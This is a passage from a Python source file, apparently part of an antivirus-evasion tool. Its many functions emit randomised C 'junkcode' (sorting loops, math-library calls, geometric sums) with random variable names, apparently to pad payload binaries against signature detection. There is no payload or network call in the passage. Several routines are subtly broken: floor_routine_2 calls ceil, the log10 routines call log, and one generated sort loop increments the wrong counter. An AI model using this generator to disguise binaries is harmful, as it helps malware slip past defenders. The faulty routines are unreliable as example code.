core.varname_creator() 761 | randvar2 = core.varname_creator() 762 | randflag = core.varname_creator() 763 | randflag2 = core.varname_creator() 764 | junkcode = "float *" + randvar + " = (float*)malloc(sizeof(float)*" + randranges + ");" 765 | junkcode += "int " + randflag + ";" 766 | junkcode += "int " + randflag2 + ";" 767 | junkcode += "float " + randvar2 + ";" 768 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 769 | junkcode += randvar + "[" + randflag + "] = (float)(rand() % 1000) / (float)(rand() % 70);}" 770 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 771 | junkcode += "for(" + randflag2 + " = 0;" + randflag2 + " < (" + randranges + " - " + randflag + " - 1);" + randflag + "++){" 772 | junkcode += "if(" + randvar + "[" + randflag + "] > " + randvar + "[" + randflag2 + " + 1]){" 773 | junkcode += randvar2 + " = " + randvar + "[" + randflag2 + "];" 774 | junkcode += randvar + "[" + randflag2 + "] = " + randvar + "[" + randflag + " + 1];" 775 | junkcode += randvar + "[" + randflag2 + " + 1] = " + randvar2 + ";}}}" 776 | junkcode += "free(" + randvar + ");" 777 | return junkcode 778 | 779 | 780 | def gnome_sort_int_array(H): 781 | XH1 = randint(8, 16) 782 | XH2 = randint(50, 120) 783 | randranges = str(randint(XH1 * H, XH2 * H)) 784 | randvar = core.varname_creator() 785 | randtemp = core.varname_creator() 786 | randflag = core.varname_creator() 787 | junkcode = "int *" + randvar + " = (int*)malloc(sizeof(int)*" + randranges + ");" 788 | junkcode += "int " + randflag + ";" 789 | junkcode += "int " + randtemp + ";" 790 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 791 | junkcode += randvar + "[" + randflag + "] = rand() % 10000;}" 792 | junkcode += randflag + "=0;" 793 | junkcode += "while(" + randflag + " < " + randranges + "){" 794 | junkcode += "if(" + randflag + " == 0 || " + randvar + "[" + randflag + "-1] <= " + randvar + "[" + randflag + "]){" 795 | junkcode += randflag + "++;" 796 | junkcode += "}else{" 797 | junkcode += randtemp + " = " + randvar + "[" + randflag + "-1];" 798 | junkcode += randvar + "[" + randflag + "-1] = " + randvar + "[" + randflag + "];" 799 | junkcode += randvar + "[" + randflag + "] = " + randtemp + ";" 800 | junkcode += randflag + " = " + randflag + "-1;}}" 801 | junkcode += "free(" + randvar + ");" 802 | return junkcode 803 | 804 | 805 | def last_armstrong(H): 806 | XH1 = randint(8, 16) 807 | XH2 = randint(50, 120) 808 | randranges = str(randint(XH1 * H, XH2 * H)) 809 | randvar = core.varname_creator() 810 | randvar2 = core.varname_creator() 811 | randflag = core.varname_creator() 812 | randflag2 = core.varname_creator() 813 | randLastArmN = core.varname_creator() 814 | junkcode = "int " + randLastArmN + ";" 815 | junkcode += "int " + randvar + "," + randflag + "," + randvar2 + "," + randflag2 + ";" 816 | junkcode += "for(" + randflag + " = 1;" + randflag + " <= " + randranges + ";" + randflag + "++){" 817 | junkcode += randvar + " = 0;" 818 | junkcode += randvar2 + " = " + randflag + ";" 819 | junkcode += "while(" + randvar2 + " != 0){" 820 | junkcode += randflag2 + " = " + randvar2 + "%10;" 821 | junkcode += randvar + " += " + randflag2 + "*" + randflag2 + "*" + randflag2 + ";" 822 | junkcode += randvar2 + " = " + randvar2 + "/10;}" 823 | junkcode += "if(" + randvar + " == " + randflag + "){" 824 | junkcode += randLastArmN + " = " + randflag + ";}}" 825 | return junkcode 826 | 827 | 828 | def odd_or_even_1(H): 829 | XH1 = randint(8, 16) 830 | XH2 = randint(50, 120) 831 | randranges = str(randint(XH1 * H, XH2 * H)) 832 | randvar = core.varname_creator() 833 | randflag = core.varname_creator() 834 | randodd = core.varname_creator() 835 | randeven = core.varname_creator() 836 | junkcode = "int " + randflag + ";" 837 | junkcode += "int *" + randvar + " = (int*)malloc(sizeof(int)*" + randranges + ");" 838 | junkcode += "int " + randodd + " = 0;" 839 | junkcode += "int " + randeven + " = 0;" 840 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 841 | junkcode += randvar + "[" + randflag + "] = rand() % 100000;}" 842 | junkcode += randflag + " = " + "0;" 843 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 844 | junkcode += "if(" + randvar + "[" + randflag + "]&1){" 845 | junkcode += randodd + " += 1;" 846 | junkcode += "}else if(!(" + randvar + "[" + randflag + "]&1)){" 847 | junkcode += randeven + " += 1;}}" 848 | junkcode += "free(" + randvar + ");" 849 | return junkcode 850 | 851 | 852 | def odd_or_even_2(H): 853 | XH1 = randint(8, 16) 854 | XH2 = randint(50, 120) 855 | randranges = str(randint(XH1 * H, XH2 * H)) 856 | randvar = core.varname_creator() 857 | randflag = core.varname_creator() 858 | randodd = core.varname_creator() 859 | randeven = core.varname_creator() 860 | junkcode = "int " + randflag + ";" 861 | junkcode += "int *" + randvar + " = (int*)malloc(sizeof(int)*" + randranges + ");" 862 | junkcode += "int " + randodd + " = 0;" 863 | junkcode += "int " + randeven + " = 0;" 864 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 865 | junkcode += randvar + "[" + randflag + "] = rand() % 1000;" 866 | junkcode += "if(" + randvar + "[" + randflag + "]&1){" 867 | junkcode += randodd + " += 1;" 868 | junkcode += "}else if(!(" + randvar + "[" + randflag + "]&1)){" 869 | junkcode += randeven + " += 1;}}" 870 | junkcode += "free(" + randvar + ");" 871 | return junkcode 872 | 873 | 874 | def ceil_routine_1(H): 875 | XH1 = randint(8, 16) 876 | XH2 = randint(50, 120) 877 | randranges = str(randint(XH1 * H, XH2 * H)) 878 | randvar = core.varname_creator() 879 | randvar2 = core.varname_creator() 880 | randflag = core.varname_creator() 881 | junkcode = "int " + randflag + ";" 882 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 883 | junkcode += "double *" + randvar2 + " = (double*)malloc(sizeof(double)*" + randranges + ");" 884 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 885 | junkcode += randvar + "[" + randflag + "] = (double)(rand() % 1000) / (double)(rand() % 70);}" 886 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 887 | junkcode += randvar2 + "[" + randflag + "] = ceil(" + randvar + "[" + randflag + "]);}" 888 | return junkcode 889 | 890 | 891 | def ceil_routine_2(H): 892 | XH1 = randint(8, 16) 893 | XH2 = randint(50, 120) 894 | randranges = str(randint(XH1 * H, XH2 * H)) 895 | randvar = core.varname_creator() 896 | randvar2 = core.varname_creator() 897 | randflag = core.varname_creator() 898 | junkcode = "int " + randflag + " = -1;" 899 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 900 | junkcode += "double *" + randvar2 + " = (double*)malloc(sizeof(double)*" + randranges + ");" 901 | junkcode += "do{" 902 | junkcode += randflag + "++;" 903 | junkcode += randvar + "[" + randflag + "] = (double)(rand() % 1000) / (double)(rand() % 70);" 904 | junkcode += randvar2 + "[" + randflag + "] = ceil(" + randvar + "[" + randflag + "]);}while(" + randflag + " < " + randranges + "-1);" 905 | return junkcode 906 | 907 | 908 | def floor_routine_1(H): 909 | XH1 = randint(8, 16) 910 | XH2 = randint(50, 120) 911 | randranges = str(randint(XH1 * H, XH2 * H)) 912 | randvar = core.varname_creator() 913 | randvar2 = core.varname_creator() 914 | randflag = core.varname_creator() 915 | junkcode = "int " + randflag + ";" 916 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 917 | junkcode += "double *" + randvar2 + " = (double*)malloc(sizeof(double)*" + randranges + ");" 918 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 919 | junkcode += randvar + "[" + randflag + "] = (double)(rand() % 1000) / (double)(rand() % 70);}" 920 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 921 | junkcode += randvar2 + "[" + randflag + "] = floor(" + randvar + "[" + randflag + "]);}" 922 | return junkcode 923 | 924 | 925 | def floor_routine_2(H): 926 | XH1 = randint(8, 16) 927 | XH2 = randint(50, 120) 928 | randranges = str(randint(XH1 * H, XH2 * H)) 929 | randvar = core.varname_creator() 930 | randvar2 = core.varname_creator() 931 | randflag = core.varname_creator() 932 | junkcode = "int " + randflag + " = -1;" 933 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 934 | junkcode += "double *" + randvar2 + " = (double*)malloc(sizeof(double)*" + randranges + ");" 935 | junkcode += "do{" 936 | junkcode += randflag + "++;" 937 | junkcode += randvar + "[" + randflag + "] = (double)(rand() % 1000) / (double)(rand() % 70);" 938 | junkcode += randvar2 + "[" + randflag + "] = ceil(" + randvar + "[" + randflag + "]);}while(" + randflag + " < " + randranges + "-1);" 939 | return junkcode 940 | 941 | 942 | def acos_routine_1(H): 943 | XH1 = randint(8, 16) 944 | XH2 = randint(50, 120) 945 | randranges = str(randint(XH1 * H, XH2 * H)) 946 | randvar = core.varname_creator() 947 | randflag = core.varname_creator() 948 | junkcode = "int " + randflag + ";" 949 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 950 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 951 | junkcode += randvar + "[" + randflag + "] = (double)((2*(rand() / (double)(RAND_MAX))) - (double)1);}" 952 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 953 | junkcode += randvar + "[" + randflag + "] = acos(" + randvar + "[" + randflag + "]);}" 954 | return junkcode 955 | 956 | 957 | def acos_routine_2(H): 958 | XH1 = randint(8, 16) 959 | XH2 = randint(50, 120) 960 | randranges = str(randint(XH1 * H, XH2 * H)) 961 | randvar = core.varname_creator() 962 | randflag = core.varname_creator() 963 | junkcode = "int " + randflag + "=-1;" 964 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 965 | junkcode += "do{" 966 | junkcode += randflag + "++;" 967 | junkcode += randvar + "[" + randflag + "] = (double)((2*(rand() / (double)(RAND_MAX))) - (double)1);" 968 | junkcode += randvar + "[" + randflag + "] = acos(" + randvar + "[" + randflag + "]);}while(" + randflag + " < " + randranges + "-1);" 969 | return junkcode 970 | 971 | 972 | def asin_routine_1(H): 973 | XH1 = randint(8, 16) 974 | XH2 = randint(50, 120) 975 | randranges = str(randint(XH1 * H, XH2 * H)) 976 | randflag = core.varname_creator() 977 | randvar = core.varname_creator() 978 | junkcode = "int " + randflag + ";" 979 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 980 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 981 | junkcode += randvar + "[" + randflag + "] = (double)((2*(rand() / (double)(RAND_MAX))) - (double)1);}" 982 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 983 | junkcode += randvar + "[" + randflag + "] = asin(" + randvar + "[" + randflag + "]);}" 984 | return junkcode 985 | 986 | 987 | def asin_routine_2(H): 988 | XH1 = randint(8, 16) 989 | XH2 = randint(50, 120) 990 | randranges = str(randint(XH1 * H, XH2 * H)) 991 | randvar = core.varname_creator() 992 | randflag = core.varname_creator() 993 | junkcode = "int " + randflag + "=-1;" 994 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 995 | junkcode += "do{" 996 | junkcode += randflag + "++;" 997 | junkcode += randvar + "[" + randflag + "] = (double)((2*(rand() / (double)(RAND_MAX))) - (double)1);" 998 | junkcode += randvar + "[" + randflag + "] = asin(" + randvar + "[" + randflag + "]);}while(" + randflag + " < " + randranges + "-1);" 999 | return junkcode 1000 | 1001 | 1002 | def atan_routine_1(H): 1003 | XH1 = randint(8, 16) 1004 | XH2 = randint(50, 120) 1005 | randranges = str(randint(XH1 * H, XH2 * H)) 1006 | randvar = core.varname_creator() 1007 | randflag = core.varname_creator() 1008 | junkcode = "int " + randflag + ";" 1009 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 1010 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1011 | junkcode += randvar + "[" + randflag + "] = ((double)rand() / (double)(RAND_MAX));}" 1012 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1013 | junkcode += randvar + "[" + randflag + "] = atan(" + randvar + "[" + randflag + "]);}" 1014 | return junkcode 1015 | 1016 | 1017 | def atan_routine_2(H): 1018 | XH1 = randint(8, 16) 1019 | XH2 = randint(50, 120) 1020 | randranges = str(randint(XH1 * H, XH2 * H)) 1021 | randvar = core.varname_creator() 1022 | randflag = core.varname_creator() 1023 | junkcode = "int " + randflag + "=-1;" 1024 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 1025 | junkcode += "do{" 1026 | junkcode += randflag + "++;" 1027 | junkcode += randvar + "[" + randflag + "] = ((double)rand() / (double)(RAND_MAX));" 1028 | junkcode += randvar + "[" + randflag + "] = atan(" + randvar + "[" + randflag + "]);}while(" + randflag + " < " + randranges + "-1);" 1029 | return junkcode 1030 | 1031 | 1032 | def fabs_routine_1(H): 1033 | XH1 = randint(8, 16) 1034 | XH2 = randint(50, 120) 1035 | randranges = str(randint(XH1 * H, XH2 * H)) 1036 | randvar = core.varname_creator() 1037 | randflag = core.varname_creator() 1038 | junkcode = "int " + randflag + ";" 1039 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 1040 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1041 | junkcode += randvar + "[" + randflag + "] = (double)((2*(rand() / (double)(RAND_MAX))) - (double)1);}" 1042 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1043 | junkcode += randvar + "[" + randflag + "] = fabs(" + randvar + "[" + randflag + "]);}" 1044 | return junkcode 1045 | 1046 | 1047 | def fabs_routine_2(H): 1048 | XH1 = randint(8, 16) 1049 | XH2 = randint(50, 120) 1050 | randranges = str(randint(XH1 * H, XH2 * H)) 1051 | randvar = core.varname_creator() 1052 | randflag = core.varname_creator() 1053 | junkcode = "int " + randflag + "=-1;" 1054 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 1055 | junkcode += "do{" 1056 | junkcode += randflag + "++;" 1057 | junkcode += randvar + "[" + randflag + "] = (double)((2*(rand() / (double)(RAND_MAX))) - (double)1);" 1058 | junkcode += randvar + "[" + randflag + "] = fabs(" + randvar + "[" + randflag + "]);}while(" + randflag + " < " + randranges + "-1);" 1059 | return junkcode 1060 | 1061 | 1062 | def exp_routine_1(H): 1063 | XH1 = randint(8, 16) 1064 | XH2 = randint(50, 120) 1065 | randranges = str(randint(XH1 * H, XH2 * H)) 1066 | randvar = core.varname_creator() 1067 | randflag = core.varname_creator() 1068 | junkcode = "int " + randflag + ";" 1069 | junkcode += "double " + randvar + ";" 1070 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1071 | junkcode += randvar + " = exp((double)(" + str(randint(2, 10)) + "*rand() / (double)(RAND_MAX)));}" 1072 | return junkcode 1073 | 1074 | 1075 | def exp_routine_2(H): 1076 | XH1 = randint(8, 16) 1077 | XH2 = randint(50, 120) 1078 | randranges = str(randint(XH1 * H, XH2 * H)) 1079 | randvar = core.varname_creator() 1080 | randflag = core.varname_creator() 1081 | junkcode = "int " + randflag + "=-1;" 1082 | junkcode += "double " + randvar + ";" 1083 | junkcode += "do{" 1084 | junkcode += randflag + "++;" 1085 | junkcode += randvar + " = exp((double)(" + str(randint(2, 10)) + "*rand() / (double)(RAND_MAX)));}while(" + randflag + " < " + randranges + "-1);" 1086 | return junkcode 1087 | 1088 | 1089 | def ln_routine_1(H): 1090 | XH1 = randint(8, 16) 1091 | XH2 = randint(50, 120) 1092 | randranges = str(randint(XH1 * H, XH2 * H)) 1093 | randvar = core.varname_creator() 1094 | randflag = core.varname_creator() 1095 | junkcode = "int " + randflag + ";" 1096 | junkcode += "double " + randvar + ";" 1097 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1098 | junkcode += randvar + " = log((double)(" + str(randint(20, 1000)) + "*rand() / (double)(RAND_MAX)));}" 1099 | return junkcode 1100 | 1101 | 1102 | def ln_routine_2(H): 1103 | XH1 = randint(8, 16) 1104 | XH2 = randint(50, 120) 1105 | randranges = str(randint(XH1 * H, XH2 * H)) 1106 | randvar = core.varname_creator() 1107 | randflag = core.varname_creator() 1108 | junkcode = "int " + randflag + "=-1;" 1109 | junkcode += "double " + randvar + ";" 1110 | junkcode += "do{" 1111 | junkcode += randflag + "++;" 1112 | junkcode += randvar + " = log((double)(" + str(randint(20, 1000)) + "*rand() / (double)(RAND_MAX)));}while(" + randflag + " < " + randranges + "-1);" 1113 | return junkcode 1114 | 1115 | 1116 | def log10_routine_1(H): 1117 | XH1 = randint(8, 16) 1118 | XH2 = randint(50, 120) 1119 | randranges = str(randint(XH1 * H, XH2 * H)) 1120 | randvar = core.varname_creator() 1121 | randflag = core.varname_creator() 1122 | junkcode = "int " + randflag + ";" 1123 | junkcode += "double " + randvar + ";" 1124 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1125 | junkcode += randvar + " = log((double)(" + str(randint(20, 1000)) + "*rand() / (double)(RAND_MAX)));}" 1126 | return junkcode 1127 | 1128 | 1129 | def log10_routine_2(H): 1130 | XH1 = randint(8, 16) 1131 | XH2 = randint(50, 120) 1132 | randranges = str(randint(XH1 * H, XH2 * H)) 1133 | randvar = core.varname_creator() 1134 | randflag = core.varname_creator() 1135 | junkcode = "int " + randflag + "=-1;" 1136 | junkcode += "double " + randvar + ";" 1137 | junkcode += "do{" 1138 | junkcode += randflag + "++;" 1139 | junkcode += randvar + " = log((double)(" + str(randint(20, 1000)) + "*rand() / (double)(RAND_MAX)));}while(" + randflag + " < " + randranges + "-1);" 1140 | return junkcode 1141 | 1142 | 1143 | def fmod_routine_1(H): 1144 | XH1 = randint(8, 16) 1145 | XH2 = randint(50, 120) 1146 | randranges = str(randint(XH1 * H, XH2 * H)) 1147 | randvar = core.varname_creator() 1148 | randflag = core.varname_creator() 1149 | junkcode = "int " + randflag + ";" 1150 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 1151 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1152 | junkcode += randvar + "[" + randflag + "] = ((double)rand() / (double)(RAND_MAX));}" 1153 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1154 | junkcode += randvar + "[" + randflag + "] = fmod(" + randvar + "[" + randflag + "],(double)(rand() % 100));}" 1155 | return junkcode 1156 | 1157 | 1158 | def fmod_routine_2(H): 1159 | XH1 = randint(8, 16) 1160 | XH2 = randint(50, 120) 1161 | randranges = str(randint(XH1 * H, XH2 * H)) 1162 | randvar = core.varname_creator() 1163 | randflag = core.varname_creator() 1164 | junkcode = "int " + randflag + "=-1;" 1165 | junkcode += "double *" + randvar + " = (double*)malloc(sizeof(double)*" + randranges + ");" 1166 | junkcode += "do{" 1167 | junkcode += randflag + "++;" 1168 | junkcode += randvar + "[" + randflag + "] = ((double)rand() / (double)(RAND_MAX));" 1169 | junkcode += randvar + "[" + randflag + "] = fmod(" + randvar + "[" + randflag + "],(double)(rand() % 100));}while(" + randflag + " < " + randranges + "-1);" 1170 | return junkcode 1171 | 1172 | 1173 | def ldexp_routine_1(H): 1174 | XH1 = randint(8, 16) 1175 | XH2 = randint(50, 120) 1176 | randranges = str(randint(XH1 * H, XH2 * H)) 1177 | randvar = core.varname_creator() 1178 | randflag = core.varname_creator() 1179 | randinteger = core.varname_creator() 1180 | junkcode = "int " + randinteger + ";" 1181 | junkcode += "int " + randflag + ";" 1182 | junkcode += "double " + randvar + ";" 1183 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1184 | junkcode += randinteger + " = rand() % " + str(randint(16, 32)) + ";" 1185 | junkcode += randvar + " = ldexp((double)(rand() / (double)(RAND_MAX))," + randinteger + ");}" 1186 | return junkcode 1187 | 1188 | 1189 | def ldexp_routine_2(H): 1190 | XH1 = randint(8, 16) 1191 | XH2 = randint(50, 120) 1192 | randranges = str(randint(XH1 * H, XH2 * H)) 1193 | randvar = core.varname_creator() 1194 | randflag = core.varname_creator() 1195 | randinteger = core.varname_creator() 1196 | junkcode = "int " + randinteger + ";" 1197 | junkcode += "int " + randflag + "=-1;" 1198 | junkcode += "double " + randvar + ";" 1199 | junkcode += "do{" 1200 | junkcode += randflag + "++;" 1201 | junkcode += randinteger + " = rand() % " + str(randint(16, 32)) + ";" 1202 | junkcode += randvar + " = ldexp((double)(rand() / (double)(RAND_MAX))," + randinteger + ");}while(" + randflag + " < " + randranges + "-1);" 1203 | return junkcode 1204 | 1205 | 1206 | def geometric_1(H): 1207 | XH1 = randint(8, 16) 1208 | XH2 = randint(50, 120) 1209 | randranges = str(randint(XH1 * H, XH2 * H)) 1210 | randsum = core.varname_creator() 1211 | randflag = core.varname_creator() 1212 | randdiv = core.varname_creator() 1213 | junkcode = "double " + randsum + "=0;" 1214 | junkcode += "double " + randdiv + "=1;" 1215 | junkcode += "for(int " + randflag + "=0;" + randflag + " < " + randranges + ";" + randflag + "++){;" 1216 | junkcode += randdiv + "=" + randdiv + "*2;" 1217 | junkcode += randsum + " = " + randsum + " + (1 / " + randdiv + ");" 1218 | junkcode += "if(" + randsum + " == 1.00)break;}" 1219 | return junkcode 1220 | 1221 | 1222 | def geometric_2(H): 1223 | XH1 = randint(8, 16) 1224 | XH2 = randint(50, 120) 1225 | randranges = str(randint(XH1 * H, XH2 * H)) 1226 | randsum = core.varname_creator() 1227 | randflag = core.varname_creator() 1228 | randdiv = core.varname_creator() 1229 | junkcode = "double " + randsum + "=0;" 1230 | junkcode += "double " + randdiv + "=1;" 1231 | junkcode += "int " + randflag + "=0;" 1232 | junkcode += "do{" 1233 | junkcode += randflag + " += 1;" 1234 | junkcode += randdiv + "=" + randdiv + "* 2;" 1235 | junkcode += randsum + " = " + randsum + " + (1 / " + randdiv + ");" 1236 | junkcode += "if(" + randsum + " == 1.00)break;}while(" + randflag + " < " + randranges + ");" 1237 | return junkcode 1238 | 1239 | 1240 | def geometric_3(H): 1241 | XH1 = randint(8, 16) 1242 | XH2 = randint(50, 120) 1243 | randranges = str(randint(XH1 * H, XH2 * H)) 1244 | randsum = core.varname_creator() 1245 | randosum = str(uniform(1.11111111111111111111, 1.9999999999999999999)) 1246 | randflag = core.varname_creator() 1247 | randdiv = core.varname_creator() 1248 | junkcode = "double " + randsum + "=0;" 1249 | junkcode += "double " + randdiv + "=1;" 1250 | junkcode += "for(int " + randflag + "=0;" + randflag + " < " + randranges + ";" + randflag + "++){;" 1251 | junkcode += randsum + " = " + randsum + " + (1 / " + randdiv + ");" 1252 | junkcode += randdiv + " *= 4;" 1253 | junkcode += "if(" + randsum + " == " + randosum + ")break;}" 1254 | return junkcode 1255 | 1256 | 1257 | def geometric_4(H): 1258 | XH1 = randint(8, 16) 1259 | XH2 = randint(50, 120) 1260 | randranges = str(randint(XH1 * H, XH2 * H)) 1261 | randsum = core.varname_creator() 1262 | randosum = str(uniform(1.11111111111111111111, 1.9999999999999999999)) 1263 | randflag = core.varname_creator() 1264 | randdiv = core.varname_creator() 1265 | junkcode = "double " + randsum + "=0;" 1266 | junkcode += "double " + randdiv + "=1;" 1267 | junkcode += "int " + randflag + "=0;" 1268 | junkcode += "do{" 1269 | junkcode += randflag + " += 1;" 1270 | junkcode += randsum + " = " + randsum + " + (1 / " + randdiv + ");" 1271 | junkcode += randdiv + "*=4;" 1272 | junkcode += "if(" + randsum + " == " + randosum + ")break;}while(" + randflag + " < " + randranges + ");" 1273 | return junkcode 1274 | 1275 | 1276 | def geometric_5(H): 1277 | XH1 = randint(8, 16) 1278 | XH2 = randint(50, 120) 1279 | randranges = str(randint(XH1 * H, XH2 * H)) 1280 | randsum = core.varname_creator() 1281 | randosum = str(uniform(0.11111111111111111111, 0.9999999999999999999)) 1282 | randflag = core.varname_creator() 1283 | randdiv = core.varname_creator() 1284 | junkcode = "double " + randsum + "=0;" 1285 | junkcode += "double " + randdiv + "=1;" 1286 | junkcode += "for(int " + randflag + "=0;" + randflag + " < " + randranges + ";" + randflag + "++){;" 1287 | junkcode += randdiv + " *= 4;" 1288 | junkcode += randsum + " = " + randsum + " + (1 / " + randdiv + ");" 1289 | junkcode += "if(" + randsum + " == " + randosum + ")break;}" 1290 | return junkcode 1291 | 1292 | 1293 | def shaker_snort(H): 1294 | XH1 = randint(8, 16) 1295 | XH2 = randint(50, 120) 1296 | randranges = str(randint(XH1 * H, XH2 * H)) 1297 | randflag = core.varname_creator() 1298 | randflag2 = core.varname_creator() 1299 | randtemp = core.varname_creator() 1300 | randvar = core.varname_creator() 1301 | junkcode = "int " + randflag + ";" 1302 | junkcode += "int *" + randvar + " = (int*)malloc(sizeof(int)*" + randranges + ");" 1303 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 1304 | junkcode += randvar + "[" + randflag + "] = rand() % 10000;}" 1305 | junkcode += "int " + randflag2 + ";" 1306 | junkcode += "int " + randtemp + ";" 1307 | junkcode += "for (" + randflag2 + " = 1; " + randflag2 + " <= " + randranges + " / 2; " + randflag2 + "++){" 1308 | junkcode += "for (" + randflag + " = " + randflag2 + " - 1; " + randflag + " < " + randranges + " - " + randflag2 + "; " + randflag + "++){" 1309 | junkcode += "if (" + randvar + "[" + randflag + "] > " + randvar + "[" + randflag + "+1]){" 1310 | junkcode += randtemp + " = " + randvar + "[" + randflag + "];" 1311 | junkcode += randvar + "[" + randflag + "] = " + randvar + "[" + randflag + "+1];" 1312 | junkcode += randvar + "[" + randflag + "+1] = " + randtemp + ";}}" 1313 | junkcode += "for (" + randflag + " = " + randranges + " - " + randflag2 + " - 1; " + randflag + " >= " + randflag2 + "; " + randflag + "--){" 1314 | junkcode += "if (" + randvar + "[" + randflag + "] < " + randvar + "[" + randflag + "-1]){" 1315 | junkcode += randtemp + " = " + randvar + "[" + randflag + "];" 1316 | junkcode += randvar + "[" + randflag + "] = " + randvar + "[" + randflag + "-1];" 1317 | junkcode += randvar + "[" + randflag + "-1] = " + randtemp + ";}}}" 1318 | return junkcode 1319 | --------------------------------------------------------------------------------